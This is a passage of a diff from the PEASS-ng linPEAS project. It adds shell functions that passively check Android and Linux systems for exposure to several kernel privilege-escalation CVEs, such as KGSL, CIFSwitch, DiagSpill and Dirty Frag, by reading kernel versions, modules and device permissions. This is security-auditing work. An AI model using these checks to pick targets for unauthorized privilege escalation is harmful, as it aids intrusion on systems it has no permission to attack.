kg23380_sysfs="$kg23380_candidate" + break + done + + kg23380_driver_evidence="" + [ -e "$kg23380_device" ] && kg23380_driver_evidence="device node" + if [ "$kg23380_sysfs" ]; then + if [ "$kg23380_driver_evidence" ]; then + kg23380_driver_evidence="$kg23380_driver_evidence and sysfs" + else + kg23380_driver_evidence="sysfs" + fi + fi + + kg23380_qualcomm_evidence="unknown" + if [ "$kg23380_driver_evidence" ] \ + || printf '%s\n' "$kg23380_hardware $kg23380_board $kg23380_soc_manufacturer $kg23380_soc_model $kg23380_fingerprint $kg23380_vendor_fingerprint" \ + | grep -Eqi 'qualcomm|qcom|(^|[^[:alnum:]])(msm|sdm|sm)[0-9]'; then + kg23380_qualcomm_evidence="detected" + fi + + kg23380_gpu_model="" + for kg23380_candidate in \ + "${kg23380_root}sys/class/kgsl/kgsl-3d0/gpu_model" \ + "${kg23380_root}sys/class/kgsl/kgsl-3d0/gpu_model_name" \ + "${kg23380_root}sys/class/misc/kgsl-3d0/device/gpu_model"; do + [ -r "$kg23380_candidate" ] || continue + kg23380_gpu_model="$(cat "$kg23380_candidate" 2>/dev/null)" + [ "$kg23380_gpu_model" ] && break + done + + kg23380_driver_version="" + for kg23380_candidate in \ + "${kg23380_root}sys/module/kgsl/version" \ + "${kg23380_root}sys/module/msm_kgsl/version" \ + "${kg23380_root}sys/class/kgsl/kgsl-3d0/device/driver/module/version"; do + [ -r "$kg23380_candidate" ] || continue + kg23380_driver_version="$(cat "$kg23380_candidate" 2>/dev/null)" + [ "$kg23380_driver_version" ] && break + done + + print_3title "Android Qualcomm KGSL VBO LPE (CVE-2024-23380)" "T1068" + print_info "https://androidoffsec.withgoogle.com/posts/a-technical-deep-dive-into-cve-2024-23380-exploiting-gpu-memory-corruption-to-android-root/" + print_info "https://source.android.com/docs/security/bulletin/2024-07-01" + print_info "https://git.codelinaro.org/clo/la/platform/vendor/qcom/opensource/graphics-kernel/-/commit/919306871384731b35cbfafb208bbd13bff08605" + + echo "Android release: ${kg23380_android_release:-unknown} (SDK ${kg23380_sdk:-unknown})" + echo "Platform security patch level: ${kg23380_platform_spl:-unknown}" + echo "Vendor security patch level: ${kg23380_vendor_spl:-unknown}" + echo "Hardware: ${kg23380_hardware:-unknown}; board platform: ${kg23380_board:-unknown}" + echo "SoC: ${kg23380_soc_manufacturer:-unknown} ${kg23380_soc_model:-unknown}" + echo "Qualcomm/Adreno evidence: $kg23380_qualcomm_evidence" + echo "Kernel release: ${kg23380_kernel:-unknown}" + echo "Kernel build: ${kg23380_kernel_build:-unknown}" + echo "KGSL evidence: ${kg23380_driver_evidence:-none}" + echo "KGSL/Adreno model: ${kg23380_gpu_model:-unknown}" + echo "KGSL module version: ${kg23380_driver_version:-unknown (often not exported separately from the vendor kernel)}" + + kg23380_access="missing" + if [ -e "$kg23380_device" ]; then + kg23380_device_details="$(ls -ld "$kg23380_device" 2>/dev/null | awk '{ print $1, $3, $4 }')" + echo "KGSL device: /dev/kgsl-3d0${kg23380_device_details:+ ($kg23380_device_details)}" + if [ "$kg23380_root" != "/" ]; then + kg23380_access="present (offline image; runtime access and SELinux policy unknown)" + elif [ -r "$kg23380_device" ] && [ -w "$kg23380_device" ]; then + kg23380_access="read/write accessible to the current context" + elif [ -r "$kg23380_device" ]; then + kg23380_access="read-only accessible to the current context" + elif [ -w "$kg23380_device" ]; then + kg23380_access="write-only accessible to the current context" + else + kg23380_access="not accessible to the current context" + fi + else + echo "KGSL device: /dev/kgsl-3d0 not found" + fi + echo "KGSL device access: $kg23380_access" + [ "$kg23380_sysfs" ] && echo "KGSL sysfs: /${kg23380_sysfs#${kg23380_root}}" + + kg23380_effective_spl="" + kg23380_effective_num="" + kg23380_platform_num="" + kg23380_vendor_num="" + if kg23380_valid_spl "$kg23380_platform_spl"; then + kg23380_platform_num="$(printf '%s' "$kg23380_platform_spl" | tr -d '-')" + kg23380_effective_spl="$kg23380_platform_spl" + kg23380_effective_num="$kg23380_platform_num" + fi + if kg23380_valid_spl "$kg23380_vendor_spl"; then + kg23380_vendor_num="$(printf '%s' "$kg23380_vendor_spl" | tr -d '-')" + if [ -z "$kg23380_effective_spl" ] || [ "$kg23380_vendor_num" -lt "$kg23380_effective_num" ]; then + kg23380_effective_spl="$kg23380_vendor_spl" + kg23380_effective_num="$kg23380_vendor_num" + fi + fi + [ "$kg23380_effective_spl" ] && echo "Conservative patch level used for assessment: $kg23380_effective_spl (oldest reported platform/vendor level)" + + if [ -z "$kg23380_driver_evidence" ]; then + echo "Current Qualcomm KGSL attack surface not found; CVE-2024-23380 is hardware- and Android-build-specific" | sed -${E} "s,.*,${SED_GREEN}," + return 0 + fi + + if [ "$kg23380_root" = "/" ] && [ ! -e "$kg23380_device" ]; then + echo "KGSL driver evidence exists, but the required /dev/kgsl-3d0 entry point is absent in this runtime" | sed -${E} "s,.*,${SED_GREEN}," + return 0 + fi + + if [ "$kg23380_effective_spl" ] && [ "$kg23380_effective_num" -ge 20240705 ]; then + echo "No vulnerable patch-level indication: the reported patch level includes the July 5, 2024 Qualcomm fixes" | sed -${E} "s,.*,${SED_GREEN}," + echo "Patch-level matching cannot establish the exact KGSL driver revision; OEM backports and incomplete vendor updates should be verified separately" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + return 0 + fi + + if [ "$kg23380_effective_spl" ]; then + echo "POTENTIAL ANDROID KERNEL LPE: Qualcomm KGSL is present and patch level $kg23380_effective_spl predates the 2024-07-05 fix for CVE-2024-23380" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "POTENTIAL ANDROID KERNEL LPE: Qualcomm KGSL is present but no valid Android platform/vendor security patch level is available for CVE-2024-23380" | sed -${E} "s,.*,${SED_RED_YELLOW}," + fi + echo "This is a passive heuristic: confirm Qualcomm fix 919306871384731b35cbfafb208bbd13bff08605 or an OEM-equivalent backport before treating the device as vulnerable" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + if [ "$kg23380_root" = "/" ] && [ "$kg23380_access" != "read/write accessible to the current context" ]; then + echo "The current shell cannot read and write /dev/kgsl-3d0; Android application domains can have different SELinux access" | sed -${E} "s,.*,${SED_YELLOW}," + fi +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkCIFSwitchCVE202646243.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkCIFSwitchCVE202646243.sh new file mode 100644 index 00000000..bbcbff7b --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkCIFSwitchCVE202646243.sh @@ -0,0 +1,99 @@ +# Title: Functions - checkCIFSwitchCVE202646243 +# ID: checkCIFSwitchCVE202646243 +# Author: Chack Agent +# Last Update: 24-08-2026 +# Description: Passively identify systems exposing the complete CIFSwitch (CVE-2026-46243) cifs.spnego upcall chain. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1068 +# Functions Used: print_3title, print_info +# Global Variables: $E, $ROOT_FOLDER, $SED_LIGHT_CYAN, $SED_RED_YELLOW +# Initial Functions: +# Generated Global Variables: $cs46243_config, $cs46243_helper, $cs46243_helper_host, $cs46243_kallsyms, $cs46243_kernel, $cs46243_major, $cs46243_minor, $cs46243_modules, $cs46243_patch, $cs46243_request_key, $cs46243_root +# Fat linpeas: 0 +# Small linpeas: 1 + + +cs46243_kernel_is_fixed() { + cs46243_kernel="${1%%-*}" + cs46243_major="$(printf '%s' "$cs46243_kernel" | cut -d. -f1)" + cs46243_minor="$(printf '%s' "$cs46243_kernel" | cut -d. -f2)" + cs46243_patch="$(printf '%s' "$cs46243_kernel" | cut -d. -f3)" + + case "$cs46243_major:$cs46243_minor:$cs46243_patch" in + *[!0-9:]*|::*|*:|:*) return 1 ;; + esac + + [ "$cs46243_major" -gt 7 ] && return 0 + if [ "$cs46243_major" -eq 7 ]; then + [ "$cs46243_minor" -ge 1 ] && return 0 + [ "$cs46243_minor" -eq 0 ] && [ "$cs46243_patch" -ge 11 ] && return 0 + return 1 + fi + + [ "$cs46243_major" -lt 2 ] && return 0 + if [ "$cs46243_major" -eq 2 ]; then + [ "$cs46243_minor" -lt 6 ] && return 0 + [ "$cs46243_minor" -eq 6 ] && [ "$cs46243_patch" -lt 24 ] && return 0 + return 1 + fi + + case "$cs46243_major.$cs46243_minor" in + 5.10) [ "$cs46243_patch" -ge 258 ] ;; + 5.15) [ "$cs46243_patch" -ge 209 ] ;; + 6.1) [ "$cs46243_patch" -ge 175 ] ;; + 6.6) [ "$cs46243_patch" -ge 142 ] ;; + 6.12) [ "$cs46243_patch" -ge 92 ] ;; + 6.18) [ "$cs46243_patch" -ge 34 ] ;; + *) return 1 ;; + esac +} + +checkCIFSwitchCVE202646243() { + [ "$(uname -s 2>/dev/null)" = "Linux" ] || return 0 + + cs46243_root="${ROOT_FOLDER:-/}" + case "$cs46243_root" in + */) ;; + *) cs46243_root="${cs46243_root}/" ;; + esac + + cs46243_modules="${cs46243_root}proc/modules" + if ! [ -d "${cs46243_root}sys/module/cifs" ]; then + [ -r "$cs46243_modules" ] && grep -q '^cifs[[:space:]]' "$cs46243_modules" 2>/dev/null || return 0 + fi + + cs46243_config="" + cs46243_helper="" + # request-key reads the drop-in directory before the main file. + for cs46243_config in "${cs46243_root}"etc/request-key.d/*.conf "${cs46243_root}etc/request-key.conf"; do + [ -r "$cs46243_config" ] || continue + cs46243_helper="$(awk '$1 == "create" && $2 == "cifs.spnego" && $5 ~ /(^|\/)cifs\.upcall$/ { print $5; exit }' "$cs46243_config" 2>/dev/null)" + [ "$cs46243_helper" ] && break + done + [ "$cs46243_helper" ] || return 0 + + case "$cs46243_helper" in + /*) cs46243_helper_host="${cs46243_root}${cs46243_helper#/}" ;; + *) cs46243_helper_host="$cs46243_helper" ;; + esac + [ -x "$cs46243_helper_host" ] || return 0 + + cs46243_request_key="${cs46243_root}sbin/request-key" + [ -x "$cs46243_request_key" ] || return 0 + + cs46243_kallsyms="${cs46243_root}proc/kallsyms" + if [ -r "$cs46243_kallsyms" ] && grep -q '[[:space:]]cifs_spnego_key_vet_description' "$cs46243_kallsyms" 2>/dev/null; then + return + fi + + cs46243_kernel="$(cat "${cs46243_root}proc/sys/kernel/osrelease" 2>/dev/null)" + [ "$cs46243_kernel" ] || cs46243_kernel="$(uname -r 2>/dev/null)" + cs46243_kernel_is_fixed "$cs46243_kernel" && return + + print_3title "CIFSwitch attack chain (CVE-2026-46243)" "T1068" + print_info "https://access.redhat.com/security/vulnerabilities/RHSB-2026-005" + echo "Loaded CIFS module + active cifs.spnego rule + executable request-key/cifs.upcall helpers" | sed -${E} "s,.*,${SED_RED_YELLOW}," + echo "Kernel $cs46243_kernel does not expose the upstream cifs.spnego validation marker; vendor backports should be verified" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + echo "Rule: $cs46243_config -> $cs46243_helper" +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkDiagSpillCVE202674469.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkDiagSpillCVE202674469.sh new file mode 100644 index 00000000..a9866cf8 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkDiagSpillCVE202674469.sh @@ -0,0 +1,167 @@ +# Title: Functions - checkDiagSpillCVE202674469 +# ID: checkDiagSpillCVE202674469 +# Author: Chack Agent +# Last Update: 21-09-2026 +# Description: Passively identify kernels with reachable SCTP diagnostics that may be exposed to DiagSpill (CVE-2026-74469). +# License: GNU GPL +# Version: 1.0 +# Mitre: T1068 +# Functions Used: print_3title, print_info +# Global Variables: $E, $ROOT_FOLDER, $SED_LIGHT_CYAN, $SED_RED_YELLOW +# Initial Functions: +# Generated Global Variables: $ds74469_base, $ds74469_config, $ds74469_config_data, $ds74469_diag_state, $ds74469_disabled, $ds74469_kernel, $ds74469_major, $ds74469_minor, $ds74469_mod, $ds74469_modules_builtin, $ds74469_modules_dep, $ds74469_modules_disabled, $ds74469_patch, $ds74469_rc, $ds74469_root, $ds74469_rule, $ds74469_sctp_state +# Fat linpeas: 0 +# Small linpeas: 1 + + +ds74469_kernel_is_affected() { + ds74469_kernel="$1" + ds74469_base="${ds74469_kernel%%-*}" + ds74469_major="$(printf '%s' "$ds74469_base" | cut -d. -f1)" + ds74469_minor="$(printf '%s' "$ds74469_base" | cut -d. -f2)" + ds74469_patch="$(printf '%s' "$ds74469_base" | cut -d. -f3)" + [ -n "$ds74469_patch" ] || ds74469_patch=0 + ds74469_rc="$(printf '%s' "$ds74469_kernel" | sed -n 's/.*-rc\([0-9][0-9]*\).*/\1/p')" + + case "$ds74469_major:$ds74469_minor:$ds74469_patch" in + *[!0-9:]*|::*|*:|:*) return 1 ;; + esac + + if [ "$ds74469_major" -lt 4 ] \ + || { [ "$ds74469_major" -eq 4 ] && [ "$ds74469_minor" -lt 7 ]; }; then + return 1 + fi + + if [ "$ds74469_major" -gt 7 ] \ + || { [ "$ds74469_major" -eq 7 ] && [ "$ds74469_minor" -gt 2 ]; }; then + return 1 + fi + + if [ "$ds74469_major" -eq 7 ] && [ "$ds74469_minor" -eq 2 ]; then + [ -n "$ds74469_rc" ] && [ "$ds74469_rc" -lt 6 ] && return 0 + return 1 + fi + + case "$ds74469_major.$ds74469_minor" in + 5.10) [ "$ds74469_patch" -lt 265 ] ;; + 5.15) [ "$ds74469_patch" -lt 216 ] ;; + 6.1) [ "$ds74469_patch" -lt 183 ] ;; + 6.6) [ "$ds74469_patch" -lt 151 ] ;; + 6.12) [ "$ds74469_patch" -lt 103 ] ;; + 6.18) [ "$ds74469_patch" -lt 44 ] ;; + 7.1) [ "$ds74469_patch" -lt 8 ] ;; + *) return 0 ;; + esac +} + +ds74469_module_is_disabled() { + ds74469_mod="$1" + for ds74469_rule in \ + "${ds74469_root}"etc/modprobe.d/*.conf \ + "${ds74469_root}"run/modprobe.d/*.conf \ + "${ds74469_root}"usr/lib/modprobe.d/*.conf \ + "${ds74469_root}"lib/modprobe.d/*.conf; do + [ -r "$ds74469_rule" ] || continue + grep -Eq "^[[:space:]]*install[[:space:]]+${ds74469_mod}[[:space:]]+(/usr)?/bin/(true|false)([[:space:]#]|$)" "$ds74469_rule" 2>/dev/null \ + && return 0 + done + return 1 +} + +checkDiagSpillCVE202674469() { + [ "$(uname -s 2>/dev/null)" = "Linux" ] || return 0 + + ds74469_root="${ROOT_FOLDER:-/}" + case "$ds74469_root" in + */) ;; + *) ds74469_root="${ds74469_root}/" ;; + esac + + ds74469_kernel="$(cat "${ds74469_root}proc/sys/kernel/osrelease" 2>/dev/null)" + [ "$ds74469_kernel" ] || ds74469_kernel="$(uname -r 2>/dev/null)" + ds74469_kernel_is_affected "$ds74469_kernel" || return 0 + + ds74469_sctp_state="" + ds74469_diag_state="" + if [ -d "${ds74469_root}sys/module/sctp" ] \ + || grep -q '^sctp[[:space:]]' "${ds74469_root}proc/modules" 2>/dev/null; then + ds74469_sctp_state="loaded" + fi + if [ -d "${ds74469_root}sys/module/sctp_diag" ] \ + || grep -q '^sctp_diag[[:space:]]' "${ds74469_root}proc/modules" 2>/dev/null; then + ds74469_diag_state="loaded" + fi + + ds74469_config="" + for ds74469_config in \ + "${ds74469_root}proc/config.gz" \ + "${ds74469_root}boot/config-${ds74469_kernel}" \ + "${ds74469_root}lib/modules/${ds74469_kernel}/config"; do + [ -r "$ds74469_config" ] && break + ds74469_config="" + done + + ds74469_config_data="" + if [ "$ds74469_config" ]; then + case "$ds74469_config" in + *.gz) + if command -v gzip >/dev/null 2>&1; then + ds74469_config_data="$(gzip -cd "$ds74469_config" 2>/dev/null | grep -E '^(CONFIG_IP_SCTP|CONFIG_INET_SCTP_DIAG)=')" + fi + ;; + *) ds74469_config_data="$(grep -E '^(CONFIG_IP_SCTP|CONFIG_INET_SCTP_DIAG)=' "$ds74469_config" 2>/dev/null)" ;; + esac + fi + + if [ -z "$ds74469_sctp_state" ] \ + && printf '%s\n' "$ds74469_config_data" | grep -q '^CONFIG_IP_SCTP=y$'; then + ds74469_sctp_state="built-in" + fi + if [ -z "$ds74469_diag_state" ] \ + && printf '%s\n' "$ds74469_config_data" | grep -q '^CONFIG_INET_SCTP_DIAG=y$'; then + ds74469_diag_state="built-in" + fi + + ds74469_modules_dep="${ds74469_root}lib/modules/${ds74469_kernel}/modules.dep" + ds74469_modules_builtin="${ds74469_root}lib/modules/${ds74469_kernel}/modules.builtin" + + if [ -z "$ds74469_sctp_state" ] \ + && grep -Eq '(^|/)sctp\.ko(\.(gz|xz|zst))?:' "$ds74469_modules_dep" 2>/dev/null; then + ds74469_sctp_state="module" + fi + if [ -z "$ds74469_diag_state" ] \ + && grep -Eq '(^|/)sctp_diag\.ko(\.(gz|xz|zst))?:' "$ds74469_modules_dep" 2>/dev/null; then + ds74469_diag_state="module" + fi + if [ -z "$ds74469_sctp_state" ] \ + && grep -Eq '(^|/)sctp\.ko(\.(gz|xz|zst))?$' "$ds74469_modules_builtin" 2>/dev/null; then + ds74469_sctp_state="built-in" + fi + if [ -z "$ds74469_diag_state" ] \ + && grep -Eq '(^|/)sctp_diag\.ko(\.(gz|xz|zst))?$' "$ds74469_modules_builtin" 2>/dev/null; then + ds74469_diag_state="built-in" + fi + + [ "$ds74469_sctp_state" ] && [ "$ds74469_diag_state" ] || return 0 + + ds74469_modules_disabled="$(cat "${ds74469_root}proc/sys/kernel/modules_disabled" 2>/dev/null)" + if [ "$ds74469_modules_disabled" = "1" ]; then + [ "$ds74469_sctp_state" = "module" ] && return 0 + [ "$ds74469_diag_state" = "module" ] && return 0 + fi + + ds74469_disabled="" + if [ "$ds74469_sctp_state" = "module" ] && ds74469_module_is_disabled sctp; then + ds74469_disabled="yes" + fi + if [ "$ds74469_diag_state" = "module" ] && ds74469_module_is_disabled sctp_diag; then + ds74469_disabled="yes" + fi + [ "$ds74469_disabled" ] && return 0 + + print_3title "DiagSpill SCTP kernel exposure (CVE-2026-74469)" "T1068" + print_info "https://access.redhat.com/security/vulnerabilities/RHSB-2026-011" + echo "Potentially vulnerable kernel $ds74469_kernel with SCTP diagnostics reachable (sctp: $ds74469_sctp_state; sctp_diag: $ds74469_diag_state)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + echo "Local exploitation needs no capability or unprivileged user namespace; verify vendor backports" | sed -${E} "s,.*,${SED_LIGHT_CYAN}," + echo "Mitigation: update the kernel, or hard-disable both sctp and sctp_diag if SCTP is unused" +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkDirtyFrag.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkDirtyFrag.sh index 27826b77..b517d4cb 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkDirtyFrag.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/functions/checkDirtyFrag.sh @@ -1,18 +1,54 @@ # Title: Function - checkDirtyFrag # ID: checkDirtyFrag # Author: Samuel Monsempes -# Last Update: 10-05-2026 +# Contributor: Arjay Saguisa +# Last Update: 29-06-2026 # Description: Check whether the current Linux kernel looks exposed to Dirty Frag (CVE-2026-43284 and CVE-2026-43500). # Description: Per-CVE module state (xfrm-ESP and rxrpc), built-in detection, modprobe.d blacklist, user-namespace mitigation, CAP_NET_ADMIN, kernel build-date heuristic. # License: GNU GPL -# Version: 1.0 +# Version: 1.0.1 # Functions Used: # Global Variables: $E, $SED_GREEN, $SED_YELLOW, $SED_RED_YELLOW # Initial Functions: -# Generated Global Variables: $DF43_KERNEL_OS, $DF43_KERNEL_RELEASE, $DF43_KBUILD, $DF43_ESP_MODS, $DF43_RXRPC_MODS, $DF43_LOADED_ESP, $DF43_LOADED_RXRPC, $DF43_AUTO_ESP, $DF43_AUTO_RXRPC, $DF43_MODDEP, $DF43_MOD, $DF43_BUILTIN_ESP, $DF43_BUILTIN_RXRPC, $DF43_KCFG, $DF43_KCAT, $DF43_C, $DF43_MITIG_ESP, $DF43_MITIG_RXRPC, $DF43_USERNS_OFF, $DF43_CAP_NET_ADMIN, $DF43_CAPEFF, $DF43_CAPLO, $DF43_OLDBUILD, $DF43_BDATE, $DF43_BE, $DF43_FE, $DF43_ESP_REACH, $DF43_RXRPC_REACH, $DF43_RC +# Generated Global Variables: $DF43_KERNEL_OS, $DF43_KERNEL_RELEASE, $DF43_KERNEL_VERSION, $DF43_KBUILD, $DF43_VERSION_KNOWN, $DF43_ESP_AFFECTED, $DF43_RXRPC_AFFECTED, $DF43_ESP_MODS, $DF43_RXRPC_MODS, $DF43_LOADED_ESP, $DF43_LOADED_RXRPC, $DF43_AUTO_ESP, $DF43_AUTO_RXRPC, $DF43_MODDEP, $DF43_MOD, $DF43_BUILTIN_ESP, $DF43_BUILTIN_RXRPC, $DF43_KCFG, $DF43_KCAT, $DF43_C, $DF43_MITIG_ESP, $DF43_MITIG_RXRPC, $DF43_USERNS_OFF, $DF43_CAP_NET_ADMIN, $DF43_CAPEFF, $DF43_CAPLO, $DF43_OLDBUILD, $DF43_BDATE, $DF43_BE, $DF43_FE, $DF43_ESP_REACH, $DF43_RXRPC_REACH, $DF43_RC, $DF43_CURVER, $DF43_REQVER, $DF43_OP, $DF43_CMP # Fat linpeas: 0 # Small linpeas: 1 +df43_norm_ver() { + printf "%s" "$1" | tr '-' '.' | sed 's/[^0-9.].*$//' | sed 's/\.\./\./g' | sed 's/^\.//' | sed 's/\.$//' +} + +df43_ver_cmp() { + DF43_CURVER=$(df43_norm_ver "$1") + DF43_REQVER=$(df43_norm_ver "$3") + DF43_OP="$2" + + [ -z "$DF43_CURVER" ] && return 1 + [ -z "$DF43_REQVER" ] && return 1 + + DF43_CMP=$(awk -v a="$DF43_CURVER" -v b="$DF43_REQVER" ' + function clean(v){gsub(/[^0-9]/,"",v); if(v=="")v=0; return v+0} + BEGIN{ + na=split(a,A,"."); nb=split(b,B,"."); n=(na>nb?na:nb); + for(i=1;i<=n;i++){ + va=(i<=na?clean(A[i]):0); vb=(i<=nb?clean(B[i]):0); + if(vavb){print 1; exit} + } + print 0 + }') + + case "$DF43_OP" in + '>=') [ "$DF43_CMP" -ge 0 ] ;; + '<') [ "$DF43_CMP" -lt 0 ] ;; + *) return 1 ;; + esac +} + +df43_ver_range() { + df43_ver_cmp "$1" '>=' "$2" && df43_ver_cmp "$1" '<' "$3" +} + checkDirtyFrag() { ( DF43_KERNEL_OS=$(uname -s 2>/dev/null || echo unknown) @@ -22,7 +58,37 @@ checkDirtyFrag() { fi DF43_KERNEL_RELEASE=$(uname -r 2>/dev/null || echo unknown) + DF43_KERNEL_VERSION=$(df43_norm_ver "$DF43_KERNEL_RELEASE") DF43_KBUILD=$(uname -v 2>/dev/null || echo unknown) + DF43_VERSION_KNOWN="" + [ -n "$DF43_KERNEL_VERSION" ] && DF43_VERSION_KNOWN="yes" + + DF43_ESP_AFFECTED="yes" + DF43_RXRPC_AFFECTED="yes" + if [ "$DF43_VERSION_KNOWN" = "yes" ]; then + DF43_ESP_AFFECTED="" + if df43_ver_range "$DF43_KERNEL_VERSION" 4.11 5.10.255 \ + || df43_ver_range "$DF43_KERNEL_VERSION" 5.12 5.15.205 \ + || df43_ver_range "$DF43_KERNEL_VERSION" 5.16 6.1.171 \ + || df43_ver_range "$DF43_KERNEL_VERSION" 6.2 6.6.138 \ + || df43_ver_range "$DF43_KERNEL_VERSION" 6.7 6.12.87 \ + || df43_ver_range "$DF43_KERNEL_VERSION" 6.13 6.18.28 \ + || df43_ver_range "$DF43_KERNEL_VERSION" 7.0 7.0.5; then + DF43_ESP_AFFECTED="yes" + fi + + DF43_RXRPC_AFFECTED="" + if printf '%s' "$DF43_KERNEL_RELEASE" | grep -Eq '^5\.3(\.0)?-rc'; then + printf '%s' "$DF43_KERNEL_RELEASE" | grep -Eq '^5\.3(\.0)?-rc[78]([-.]|$)' && DF43_RXRPC_AFFECTED="yes" + else + if df43_ver_range "$DF43_KERNEL_VERSION" 5.3 6.18.29 \ + || df43_ver_range "$DF43_KERNEL_VERSION" 6.19 7.0.6 \ + || printf '%s' "$DF43_KERNEL_RELEASE" | grep -Eq '^7\.1(\.0)?-rc[12]([-.]|$)'; then + DF43_RXRPC_AFFECTED="yes" + fi + fi + fi + DF43_ESP_MODS="esp4 esp6 xfrm_user ipcomp4 ipcomp6" DF43_RXRPC_MODS="rxrpc" @@ -119,6 +185,9 @@ checkDirtyFrag() { DF43_OLDBUILD="" DF43_BDATE=$(printf '%s' "$DF43_KBUILD" | sed -nE 's/.*([A-Z][a-z]{2} [A-Z][a-z]{2} +[0-9]{1,2} [0-9:]+ (UTC )?[0-9]{4}).*/\1/p') + if [ -z "$DF43_BDATE" ]; then + DF43_BDATE=$(printf '%s' "$DF43_KBUILD" | sed -nE 's/.*\(([0-9]{4}-[0-9]{2}-[0-9]{2})\).*/\1/p') + fi if [ -n "$DF43_BDATE" ]; then DF43_BE=$(date -d "$DF43_BDATE" +%s 2>/dev/null) DF43_FE=$(date -d '2026-05-08' +%s 2>/dev/null) @@ -128,20 +197,44 @@ checkDirtyFrag() { fi if [ -n "$DF43_LOADED_ESP" ]; then - echo "CVE-2026-43284 (xfrm-ESP): loaded:$DF43_LOADED_ESP" | sed -${E} "s,.*,${SED_RED_YELLOW}," + if [ "$DF43_ESP_AFFECTED" = "yes" ]; then + echo "CVE-2026-43284 (xfrm-ESP): loaded:$DF43_LOADED_ESP" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "CVE-2026-43284 (xfrm-ESP): loaded:$DF43_LOADED_ESP but kernel $DF43_KERNEL_RELEASE is outside known affected ranges" | sed -${E} "s,.*,${SED_GREEN}," + fi elif [ "$DF43_BUILTIN_ESP" = "yes" ]; then - echo "CVE-2026-43284 (xfrm-ESP): built into kernel (modprobe blacklist ineffective)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + if [ "$DF43_ESP_AFFECTED" = "yes" ]; then + echo "CVE-2026-43284 (xfrm-ESP): built into kernel (modprobe blacklist ineffective)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "CVE-2026-43284 (xfrm-ESP): built into kernel, but kernel $DF43_KERNEL_RELEASE is outside known affected ranges" | sed -${E} "s,.*,${SED_GREEN}," + fi elif [ -n "$DF43_AUTO_ESP" ]; then - echo "CVE-2026-43284 (xfrm-ESP): autoloadable:$DF43_AUTO_ESP" | sed -${E} "s,.*,${SED_RED_YELLOW}," + if [ "$DF43_ESP_AFFECTED" = "yes" ]; then + echo "CVE-2026-43284 (xfrm-ESP): autoloadable:$DF43_AUTO_ESP" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "CVE-2026-43284 (xfrm-ESP): autoloadable:$DF43_AUTO_ESP but kernel $DF43_KERNEL_RELEASE is outside known affected ranges" | sed -${E} "s,.*,${SED_GREEN}," + fi else echo "CVE-2026-43284 (xfrm-ESP): not reachable on this kernel" | sed -${E} "s,.*,${SED_GREEN}," fi if [ -n "$DF43_LOADED_RXRPC" ]; then - echo "CVE-2026-43500 (rxrpc): loaded:$DF43_LOADED_RXRPC" | sed -${E} "s,.*,${SED_RED_YELLOW}," + if [ "$DF43_RXRPC_AFFECTED" = "yes" ]; then + echo "CVE-2026-43500 (rxrpc): loaded:$DF43_LOADED_RXRPC" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "CVE-2026-43500 (rxrpc): loaded:$DF43_LOADED_RXRPC but kernel $DF43_KERNEL_RELEASE is outside known affected ranges" | sed -${E} "s,.*,${SED_GREEN}," + fi elif [ "$DF43_BUILTIN_RXRPC" = "yes" ]; then - echo "CVE-2026-43500 (rxrpc): built into kernel (modprobe blacklist ineffective)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + if [ "$DF43_RXRPC_AFFECTED" = "yes" ]; then + echo "CVE-2026-43500 (rxrpc): built into kernel (modprobe blacklist ineffective)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "CVE-2026-43500 (rxrpc): built into kernel, but kernel $DF43_KERNEL_RELEASE is outside known affected ranges" | sed -${E} "s,.*,${SED_GREEN}," + fi elif [ -n "$DF43_AUTO_RXRPC" ]; then - echo "CVE-2026-43500 (rxrpc): autoloadable:$DF43_AUTO_RXRPC" | sed -${E} "s,.*,${SED_RED_YELLOW}," + if [ "$DF43_RXRPC_AFFECTED" = "yes" ]; then + echo "CVE-2026-43500 (rxrpc): autoloadable:$DF43_AUTO_RXRPC" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo "CVE-2026-43500 (rxrpc): autoloadable:$DF43_AUTO_RXRPC but kernel $DF43_KERNEL_RELEASE is outside known affected ranges" | sed -${E} "s,.*,${SED_GREEN}," + fi else echo "CVE-2026-43500 (rxrpc): not reachable on this kernel" | sed -${E} "s,.*,${SED_GREEN}," fi @@ -177,7 +270,9 @@ checkDirtyFrag() { DF43_RC=0 if [ "$DF43_ESP_REACH" = "yes" ] && [ "$DF43_MITIG_ESP" != "yes" ]; then - if [ "$DF43_USERNS_OFF" = "yes" ]; then + if [ "$DF43_ESP_AFFECTED" != "yes" ]; then + : + elif [ "$DF43_USERNS_OFF" = "yes" ]; then echo "CVE-2026-43284 reachable but public PoC blocked by disabled user namespaces." | sed -${E} "s,.*,${SED_YELLOW}," [ $DF43_RC -lt 1 ] && DF43_RC=1 else @@ -186,7 +281,9 @@ checkDirtyFrag() { fi fi if [ "$DF43_RXRPC_REACH" = "yes" ] && [ 